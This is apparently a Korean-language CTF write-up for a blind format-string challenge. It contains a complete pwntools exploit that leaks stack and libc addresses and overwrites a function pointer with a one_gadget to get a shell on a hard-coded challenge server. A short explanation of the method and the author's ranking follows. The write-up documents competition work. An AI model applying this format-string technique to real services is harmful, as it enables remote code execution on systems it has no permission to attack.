소스 코드가 제공되지 않는다.
nc로 접속을 해보면 총 네가지 명령을 볼 수 있다.
분석은 의미없다.
from pwn import *
context.arch = 'amd64'
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
'''/home/satellite/satellite
%6$p -> buf start , buf size 0x100
%38$p -> canary
'''
# for i in range(0x90):
# try:
# p = remote('13.125.44.4',20001)
# pay = b'%44$p'
# sla(b':',pay)
# p.recvuntil(b'0x')
# recv = int(p.recvuntil(b'\x20')[:-1],16)
# success('recv : '+hex(recv))
# pay = b'%96$p'
# sla(b':',pay)
# p.recvuntil(b'0x')
# recv_libc = int(p.recvuntil(b'\x20')[:-1],16)
# success('recv libc : '+hex(recv_libc))
# #0x4013c0 -> main
# #recv-0x220 func ptr?
# writes = {
# (recv-0x220) :(recv_libc-(0x1000*i)+0xebcf1)
# }
# pay = fmtstr_payload(6, writes)
# sla(b':',pay)
# sla(b'id')
# success(p.recv())
# pause()
# except:
# print('err')
# p.close()
p = remote('13.125.44.4',20001)
pay = b'%44$p'
sla(b':',pay)
p.recvuntil(b'0x')
recv = int(p.recvuntil(b'\x20')[:-1],16)
success('recv : '+hex(recv))
pay = b'%42$p'
sla(b':',pay)
p.recvuntil(b'0x')
recv_libc = int(p.recvuntil(b'\x20')[:-1],16) -0x24083
success('recv libc : '+hex(recv_libc))
#0x4013c0 -> main
#recv-0x220 func ptr?
#https://libc.rip/
writes = {
(recv-0x220) : recv_libc+0xe3b01
}
pay = fmtstr_payload(6, writes)
sla(b':',pay)
# for i in range(0x80):
# sla(b':',b'%' +str(i+6).encode() + b'$p')
# p.recv()
# recv = (p.recvuntil(b'[')) + b'\n'
# print(b'pay : '+b'%' +str(i+6).encode() + b'$p\nrecv : '+recv)
p.interactive()
기본적으로 아무것도 알 수 있는 정보가 없지만, 명령어를 입력하고 다시 출력하는 과정에서 FSB가 터진다.
스택 주소를 leak하고 오프셋을 적당히 계산해서, 잘 맞춰주면 recv-0x220에 덮을 수 있는 부분을 찾을 수 있었다.
fsb로 주소를 0x4141414141같이 임의로 덮고, crash가 나는 부분을 찾았다.
그 다음에, main 함수를 다시 실행시켜주는 주소를 찾았다.
crash가 났던 주소들에 main으로 돌아오는 주소를 적어서 crash가 나지 않고 정상적으로 출력이 되면, 그 부분을 덮을 수 있는 부분이라고 생각했다.
libc 주소는 ret로 추정되는 부분을 leak해서 libc 버전을 알아낼 수 있었다.
그다음 one_gadget으로 recv-0x220을 덮어줬다.
일반부랑 공공부만 고려해서 그런지 어려웠다.
운좋게 5등했다.